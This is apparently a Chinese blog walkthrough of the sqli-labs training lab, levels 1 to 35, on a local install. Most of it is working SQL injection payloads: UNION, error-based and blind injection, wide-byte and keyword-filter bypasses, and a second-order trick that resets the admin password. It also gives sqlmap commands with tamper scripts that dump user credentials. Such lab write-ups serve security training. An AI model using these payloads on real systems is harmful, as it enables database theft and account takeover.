0x00 工具
phpstudy2016:鏈接:http://pan.baidu.com/s/1bpbEBCj 密碼:fmr4
sqli-labs-master:鏈接:http://pan.baidu.com/s/1jH4WlMY 密碼:11mj
環境搭建之前寫過,這里就不多說了,直接開始通關體驗
所有實驗均是拿當前數據庫為例進行,即database()...
第一題說明了注入的初步判斷及閉合,后面的題就不進行詳細說明了
0x01 解題
一、http://127.0.0.1/sqli-labs-master/Less-1/?id=1
1、手工UNION聯合查詢注入
輸入單引號,頁面報錯,信息為''1'' LIMIT 0,1',如下圖所示
根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間,腦補一下咱們輸入的1在數據庫中出現的位置為:select ... from ... where id=’1’ ......,多余的步驟不多說了,直接開始爆數據吧。
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列(字段)
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
2、手工報錯型注入
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列(字段)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+
爆值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
步驟類似,就不重復做了
3、借助SQLMAP工具進行注入
本工具中使用-v 0參數只是為了更好的截圖......
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0
其它庫、表、字段就不一一爆了,,,
二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1
輸入單引號,根據報錯信息確定咱們輸入的內容被原封不動的帶入到數據庫中,也可叫做數字型注入,把第一題中id=1后面的單引號去掉,其它保持不變就行了,不再重復了......
三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1
輸入單引號,根據報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了,腦補一下咱們輸入1在數據庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的后面單引號加上),其它保持不變就行了,不再重復了......
四、http://127.0.0.1/sqli-labs-master/Less-4/?id=1
輸入單引號,頁面無任何變化,嘗試輸入雙引號,頁面報錯,根據報錯信息判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,腦補一下:select ... from ... where id=(”1”) ...,把第一題中1后面的引號換成雙引號加)就可以了......
五、http://127.0.0.1/sqli-labs-master/Less-5/?id=1
看到這個報錯信息,第一反應就行布爾型盲注、報錯型注入、時間延遲型盲注了,十有八九UNION聯合查詢型注入不能用了......
簡單測試下,猜測都是對的,下面給出驗證時間延遲型的盲注:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+
報錯注入,方法和第一題一樣,都是單引號型的
布爾型和時間延遲型盲注建議采用sqlmap去跑吧......
六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1
把上一題的單引號換成雙引號即可......
七、http://127.0.0.1/sqli-labs-master/Less-7/?id=1
幾次嘗試,不難猜出注釋符被過濾了......,直接輸入http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and '1'='1
由報錯信息不難看出報錯型注入基本沒戲的,直接布爾型盲注或者時間盲注,使用sqlmap跑,
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id=1 --technique B --dbms mysql --batch -v 0
八、http://127.0.0.1/sqli-labs-master/Less-8/?id=1
輸入內容被放到一對單引號中,注釋符可用,構造payload:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%201=1%20--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%202=1%20--+
判斷出存在布爾型盲注,使用sqlmap跑,和第七題一樣......
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0
九、http://127.0.0.1/sqli-labs-master/Less-9/?id=1
參數內容被放到一對單引號中,不用腦補了......注釋符可用
簡單判斷下:http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20sleep(5)%20--+
頁面響應延遲,判斷存在時間延遲型注入,直接用sqlmap跑,
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-9/?id=1 --technique T --dbms mysql --batch -v 0
十、http://127.0.0.1/sqli-labs-master/Less-10/?id=1
輸入的參數內容即1被放到一對雙引號中,注釋符可用
http://127.0.0.1/sqli-labs-master/Less-10/?id=1%22%20and%20sleep(5)--+
頁面響應延遲,存在時間延遲型注入,直接使用sqlmap跑,,,
此處需要修改一下前綴文件內容如下,修改xml文件夾下boundaries.xml文件中的內容如下圖所示,,,
直接用sqlmap跑,
十一、 http://127.0.0.1/sqli-labs-master/Less-11/
11到21關的提交方式全是post型的,需要借助抓包工具,我這里使用burpsuite工具
Burpsuite抓包,簡單測試下,存在報錯型注入
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
直接sqlmap跑,,,,,,
再測試下,存在UNION聯合查詢注入,如下圖所示,,
直接sqlmap跑,
十二、http://127.0.0.1/sqli-labs-master/Less-12/
雙引號,報錯型
直接sqlmap跑,,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506657847007.req --technique E --dbms mysql --batch -v 0
十三、http://127.0.0.1/sqli-labs-master/Less-13/
抓包測試注入類型,輸入參數內容被放到(‘’)中,注釋符可用,如下圖所示,,
直接使用sqlmap跑,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506661582400.req --prefix "')" --technique E --dbms mysql --batch -v 0
十四、http://127.0.0.1/sqli-labs-master/Less-14/
輸入內容被放到雙引號中,報錯型注入,注釋符不可用,如下圖所示,,
使用sqlmap去跑,,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662249280.req --technique E --dbms mysql --batch -v 0
十五、 http://127.0.0.1/sqli-labs-master/Less-15/
根據頁面顯示,可以測出為布爾和時間延遲的盲注,如下圖所示
uname=admin' and 1=1 --+&passwd=admin&submit=Submit
uname=admin' and 1=2 --+&passwd=admin&submit=Submit
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
頁面響應延遲,可以看出存在時間延遲性注入,
直接使用sqlmap跑,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662373346.req --technique T --dbms mysql --batch -v 0 --threads 8
布爾型盲注存在點問題,使用sqlmap工具沒有跑出來,,,只能通過手工去爆了,苦逼,,
十六、 http://127.0.0.1/sqli-labs-master/Less-16/
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506664390744.req -p "uname" --technique T --dbms mysql --batch --level 3 --threads 8 -v 0
十七、http://127.0.0.1/sqli-labs-master/Less-17/
報錯型注入,單引號,注釋符可用
用sqlmap測試
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506754249224.req -p passwd --tech E --dbms mysql --batch -v 0
十八、http://127.0.0.1/sqli-labs-master/Less-18/
報錯型,單引號,user-agent型注入點,,,
直接用sqlmap跑,在http請求頭的user-agent內容后面加上一個*號
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757146400.req --user-agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 --tech E --dbms mysql --batch -v 0
十九、http://127.0.0.1/sqli-labs-master/Less-19/
報錯型,單引號,referer型注入點,,
直接用sqlmap跑,在http請求頭的referer內容后面加上一個*號,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757627681.req --referer http://127.0.0.1/sqli-labs-master/Less-19/ --tech E --dbms mysql --batch -v 0
二十、http://127.0.0.1/sqli-labs-master/Less-20/
報錯型,單引號,cookie型注入
直接用sqlmap測試,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506758959558.req --cookie uname=admin --tech E --dbms mysql --batch -v 0
二十一、http://127.0.0.1/sqli-labs-master/Less-21/
本關和20關相似,只是cookie的uname值經過base64編碼了,使用sqlmap的時候直接帶個腳本就行了,直接上sqlmap,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506759460951.req --cookie uname=YWRtaW4%3D --tech E --dbms mysql --tamper base64encode.py --batch -v 0
二十二、 http://127.0.0.1/sqli-labs-master/Less-22/
報錯型,雙引號,base64編碼,,沒改payloads等級的需要使用--level 3 參數
直接上SQL map,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506760318956.req --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0
二十三、http://127.0.0.1/sqli-labs-master/Less-23/
單引號,過濾了注釋符,,直接上sqlmap吧,,
二十四、http://127.0.0.1/sqli-labs-master/Less-24/?id=1
利用帶有管理員賬號的注冊用戶名,在修改密碼的時候達到修改管理員賬號密碼的效果,,
注冊用戶名:admin’ or ‘1’=’1 密碼為 admin
注冊成功后,登錄進去修改密碼,將密碼改為 123
更改后即可發現,admin用戶的密碼也被改成了123,
自行腦補一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’
二十五、http://127.0.0.1/sqli-labs-master/Less-25/?id=1
過濾了and和or,繞過方法%26%26代替and,或者雙寫anandd來繞過,or用 || 或者oorr來代替即可繞過,,,話不多說,我這里直接修改腳本使用sqlmap來跑,,
And2anandd.py腳本內容如下所示,,
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-25/?id=1 -p id --tech E --dbms mysql --tamper and2anandd.py --batch -v 0
二十六、http://127.0.0.1/sqli-labs-master/Less-26/?id=1
此題過濾了所有空白字符,暫時未找到代替空格的字符,,,,,,歡迎大佬們分享^_^
二十七、http://127.0.0.1/sqli-labs-master/Less-27/?id=1
union,select,空格,注釋符被過濾,直接修改腳本結合sqlmap測試,使用%09,%0a等代替空格,雙寫代替select,,腳本和25題類似,,,直接用sqlmap測試,
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-27/?id=1 -p id --prefix "'" --suffix "%0aand%0a'1'='1" --tech E --dbms mysql --tamper select2selecselectt.py,space2%0a.py --batch -v 0
二十八、http://127.0.0.1/sqli-labs-master/Less-28/?id=1
http://127.0.0.1/sqli-labs-master/Less-28/?id=0%27)%0aunionunion%0aselect%0aselect%0a1,2,3%0aand%0a(%271%27=%271
直接用sqlmap跑,本題過濾了union+空格+select和空格,但是sqlmap中使用的是union+all+select,那我們只需用其它空白字符替換空格即可,,
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-28/?id=1 --prefix "')" --suffix "%0aand%0a('1'='1" --tech U --dbms mysql --tamper space2%0a.py --batch -v 0
測試發現不存在報錯型注入,,,
二十九、http://127.0.0.1/sqli-labs-master/Less-29/?id=1
http://127.0.0.1/sqli-labs-master/Less-29/?id=0' union%0aall select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
直接用sqlmap測試
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-29/?id=1 --dbms mysql --batch -v 0
三十、http://127.0.0.1/sqli-labs-master/Less-30/?id=1
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-30/?id=1 --dbms mysql --batch -v 0
三十一、http://127.0.0.1/sqli-labs-master/Less-31/?id=1
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-31/?id=1 --dbms mysql --batch -v 0
三十二、http://127.0.0.1/sqli-labs-master/Less-32/?id=1
寬字節繞過引號轉義
http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
三十三、http://127.0.0.1/sqli-labs-master/Less-33/
http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,2,3--+
http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
三十四、http://127.0.0.1/sqli-labs-master/Less-34/
burpsuite抓包,手工測試,,
三十五、http://127.0.0.1/sqli-labs-master/Less-35
http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
不知不覺這些東西就花了我一下午的時間,脖子有點疼,今天先搞到這里,后續分享用python編寫的腳本來測試。